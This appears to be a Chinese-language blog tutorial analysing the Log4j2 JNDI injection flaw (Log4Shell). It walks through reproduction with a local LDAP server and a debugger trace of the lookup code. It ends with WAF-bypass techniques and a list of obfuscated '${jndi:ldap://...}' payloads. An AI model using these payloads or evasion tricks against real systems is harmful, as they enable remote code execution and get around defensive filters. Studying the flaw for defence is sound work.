Featured image of post Log4j2漏洞原理

Log4j2漏洞原理

基础开发

环境

  • jdk8u65

网上有很多说 jdk8u191 之后就不行了,其实不是的;高版本 jdk 是有绕过手段的。

  • Log4j2 2.14.1
  • CC 3.2.1 (最好是)

依赖

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
    <dependency>
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.12</version>
        <scope>test</scope>
    </dependency>

代码实现

1
2
3
4
5
6
7
Logger logger = LogManager.getLogger(LongFunction.class);
        logger.trace("trace level");
        logger.debug("debug level");
        logger.info("info level");
        logger.warn("warn level");
        logger.error("error level");
        logger.fatal("fatal level");

实际开发场景

现在的代码是我们封装的一个行为,一般日志文件还是需要输出的。然后实际应用的话,是这样的。

比如我从数据库获取到了一个 username 为 “Drunkbaby”,我要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
       Logger logger = LogManager.getLogger(LongFunction.class);  
  
 String username = "Drunkbaby";  
 if (username != null) {  
            logger.info("User {} login in!", username);  
 }  
        else {  
            logger.error("User {} not exists", username);  
 }  
    }  

漏洞分析

影响版本

2.x <= log4j <= 2.15.0-rc1

漏洞原理

username是我们可控的

尝试输入其他的

username="${java:os}"

结果并不是直接输出java:os,而是输出了操作系统的一些信息

而这里存在lookeup,从而导致JNDI注入漏洞

漏洞复现

用yakit开一个ldap服务

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
String name ="${jndi:ldap://127.0.0.1:8085/XFaOTtBf}";
    if (name != null)
    {
        logger.info("User {} is logging",name);

    }
    else
    {
        logger.error("User {} not exist",name);
    }
    }

debug代码调试

断点打在PatternLayout.toSerializable

往下走,先是一个循环,遍历 formatters 一段一段的拼接输出的内容,不是很重要。

两个传进去进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffer。

跟进到format里后,调用栈里有两个format跟进的地方

当i=7的时候会进到第二个format里

这里判断是不是lookup,用的是,进入for循环

这个for循环是用来截取${}里的内容

然后进入replace

StrSubstitutor

再进入substitute

进入substitute

然后就是进入while循环,一连串的判断,循环,看不懂

知道出循环了后

能看到此时varNameExprjndi:ldap://127.0.0.1:8085/XFaOTtBf,去掉了${}

继续跟进跳到

varName作为参数,resolveVariable这里是解析时支持关键词有{date, ctx, lower, upper, main, env, sys, sd, java, marker, jndi, jvmrunargs, event, bundle, map, log4j}

像一开始试的java:os,这里就有

跟进resolveVariable方法

看到lookup方法了

后续跟进也能看到的确实Jndi的lookeup方法

小结调试

  1. 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payload jndi:xxx
  2. 后使用:分割payload,通过前缀来判断使用何种解析器去lookup
  3. 支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,后续我们的绕过可能会用到这些。

针对 WAF 的常规绕过

  • 出发点是基于很多 WAF 检测是否存在 jndi: 等关键词进行判断

1. 利用分隔符和多个 ${} 绕过

1
logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");

2. 通过 lower 和 upper 绕过

这一点,因为我们之前说允许的字段是这一些
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,其中就有 lower 和 upper

同时也可以利用 lower 和 upper 来进行 bypass 关键字

1
2
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");

同时也可以利用一些特殊字符的大小写转化的问题

  • ı => upper => i (Java 中测试可行)
  • ſ => upper => S (Java 中测试可行)
  • İ => upper => i (Java 中测试不可行)
  • K => upper => k (Java 中测试不可行)

3.编码绕过

unicode编码或者hex编码

4. 总结一些 payload

  • 原始payload
1
"${jndi:ldap://127.0.0.1:1234/ExportObject}";

对应的绕过手段

1
2
3
4
5
6
7
8
9
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
  
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
  
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
  
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
  
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";
最后更新于 Mar 03, 2025 07:35 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计